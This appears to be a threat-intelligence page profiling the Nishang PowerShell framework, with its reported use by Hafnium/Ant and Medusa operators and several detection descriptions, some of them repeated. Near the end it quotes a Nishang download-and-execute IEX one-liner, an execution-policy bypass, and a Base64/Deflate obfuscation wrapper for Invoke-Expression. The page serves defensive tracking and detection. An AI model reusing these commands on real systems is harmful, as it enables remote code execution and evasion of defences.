Loading malware…
Nishang is a PowerShell-based offensive framework and script collection used for post-exploitation, persistence, credential access, and remote command execution on Windows systems. It is widely used by red teams and penetration testers, but has also been deployed by threat actors in real intrusions. Documented malicious use includes credential dumping through modules such as Get-PassHashes and reverse-shell functionality through utilities such as Invoke-PowerShellTCPOneLine, which can establish a callback channel to attacker-controlled infrastructure.
Nishang has been observed in post-compromise activity following exploitation of Microsoft Exchange Server vulnerabilities, including the ProxyLogon intrusion wave in 2021. Microsoft reported its use by the China-linked Hafnium cluster, also tracked by Symantec as Ant, alongside other post-exploitation tooling. It has also appeared in ransomware intrusions, including activity associated with Medusa operators, where it was used to dump password hashes during broader credential theft and lateral movement operations.
The framework’s capabilities support multiple stages of intrusion operations, especially post-exploitation on Windows enterprise networks. High-confidence observed behaviors include credential theft, remote shell access, and broader post-compromise enablement. Nishang is best characterized as an offensive PowerShell toolkit rather than a single self-propagating payload, and in malicious operations it commonly functions as a post-exploitation utility set deployed after initial access has already been obtained.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
the dumping of LSASS, the use of Nishang Powershell one-liners and much more that are incredibly helpful for monitoring for activity that other actors might use as well.
the dumping of LSASS, the use of Nishang Powershell one-liners and much more that are incredibly helpful for monitoring for activity that other actors might use as well.
the dumping of LSASS, the use of Nishang Powershell one-liners and much more that are incredibly helpful for monitoring for activity that other actors might use as well.
66 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.
The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.
The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.
The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.
11 distinct techniques documented for this family, organized by ATT&CK tactic.
psi.FileName = "powershell.exe"; psi.Arguments = "-noninteractive " + "-executionpolicy bypass " + arg; | Use powershell one-liner (example below) for download & execute in the command box. IEX ((New-Object Net.WebClient).DownloadString('URL to script here')); [Arguments here]
Paste the script in command textbox and click 'Encode and Execute'.
string code = Convert.ToBase64String(ms.ToArray()); string command = "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('" + code + "')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();";
6 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Nishang is a PowerShell offensive framework; the Invoke-PowerShellTCPOneLine utility provides a reverse shell/callback to a remote C2 server, enabling remote control and potential data exfiltration.
A PowerShell-based offensive framework whose Get-PassHashes payload was used to dump password hashes during the intrusion.
PowerShell offensive framework referenced here as post-exploitation tooling, specifically via PowerShell one-liners that may be used after Exchange compromise.
A PowerShell-based offensive toolkit used post-compromise on Exchange victims.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.